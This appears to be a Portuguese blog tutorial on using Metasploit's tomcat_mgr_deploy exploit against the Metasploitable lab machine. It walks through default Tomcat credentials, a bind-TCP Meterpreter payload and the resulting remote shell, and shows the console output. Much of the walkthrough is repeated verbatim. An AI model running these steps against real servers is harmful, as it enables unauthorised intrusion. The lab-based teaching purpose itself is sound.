Atirando o pau no gato com Metasploit
O artigo foi criado para fins éticos, e tem a função de demonstrar (para aqueles que estão iniciando) um pedaço do "poder de fogo" do Metasploit Framework. Para tal, iremos explorar vulnerabilidades na aplicação Tomcat (servidor de aplicações JEE) presente no Metasploitable.
Parte 2: Explorando o Tomcat
Com a parte de 'fingerprint' concluída, é hora de procurarmos um Exploit:
msf auxiliary(tomcat_mgr_login) > back
msf > search tomcat
Perceba que existe apenas um Exploit para explorar o Tomcat (o restante são módulos auxiliares), conseguimos mais informações deste Exploit com o comando:
msf > info exploit/multi/http/tomcat_mgr_deploy
Perceba que a função do Exploit é injetar um Payload no 'Apache / Tomcat' a fim de obter acesso à aplicação.
msf > use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > show options
Com as opções listadas, é necessário setar algumas delas, como USERNAME, PASSWORD, RHOST e RPORT:
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.200.66
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
msf exploit(tomcat_mgr_deploy) > show payloads
O comando 'show payloads', demonstra quais são os Payloads que podemos utilizar com esse Exploit.
Nesse caso, utilizarei o Payload 'java/meterpreter/bind_tcp', que tem a função de fornecer um 'Shell Meterpreter' ao atacante:
msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/bind_tcp
Feito isto, basta executar o comando 'exploit', e aguardar o shell meterpreter:
msf exploit(tomcat_mgr_deploy) > exploit
Saída do comando:
meterpreter >
E ... VOILÀ !!
Conseguimos acesso ao sistema. Para saber quais comandos executar no Meterpreter, utilize o comando 'help':
meterpreter > help
Caso não se familiarize com o 'Shell Meterpreter', basta utilizar o comando 'shell', que o mesmo passará a ser o shell do sistema atacado, no nosso caso, o Bash.
meterpreter > shell
Espero que tenham gostado.
Até a próxima!
msf auxiliary(tomcat_mgr_login) > back
msf > search tomcat
Perceba que existe apenas um Exploit para explorar o Tomcat (o restante são módulos auxiliares), conseguimos mais informações deste Exploit com o comando:
msf > info exploit/multi/http/tomcat_mgr_deploy
Perceba que a função do Exploit é injetar um Payload no 'Apache / Tomcat' a fim de obter acesso à aplicação.
msf > use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > show options
Com as opções listadas, é necessário setar algumas delas, como USERNAME, PASSWORD, RHOST e RPORT:
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.200.66
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
Encontrando um Payload
Agora é necessário encontrar um Payload para mantermos acesso ao sistema que hospeda a aplicação. Neste caso, através de uma shell:msf exploit(tomcat_mgr_deploy) > show payloads
O comando 'show payloads', demonstra quais são os Payloads que podemos utilizar com esse Exploit.
Nesse caso, utilizarei o Payload 'java/meterpreter/bind_tcp', que tem a função de fornecer um 'Shell Meterpreter' ao atacante:
msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/bind_tcp
Feito isto, basta executar o comando 'exploit', e aguardar o shell meterpreter:
msf exploit(tomcat_mgr_deploy) > exploit
Saída do comando:
[*] Started bind handler
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6219 bytes as yA3qxprcUAWuRo1mgLlruBue.war...
[*] Executing /yA3qxprcUAWuRo1mgLlruBue/fwPtbEiJ611zikx4AkQ0u5ddQs.jsp...
[*] Undeploying yA3qxprcUAWuRo1mgLlruBue...
[*] Sending stage (28469 bytes) to 192.168.200.66
[*] Meterpreter session 1 opened (192.168.200.3:59842 -> 192.168.200.66:4444) at 2011-12-29 13:24:00 -0200
meterpreter >
E ... VOILÀ !!
Conseguimos acesso ao sistema. Para saber quais comandos executar no Meterpreter, utilize o comando 'help':
meterpreter > help
Caso não se familiarize com o 'Shell Meterpreter', basta utilizar o comando 'shell', que o mesmo passará a ser o shell do sistema atacado, no nosso caso, o Bash.
meterpreter > shell
Espero que tenham gostado.
Até a próxima!
Show !
Irei começar a postar alguns sobre o Metasploit também, assim que tiver tempo.
Abraço.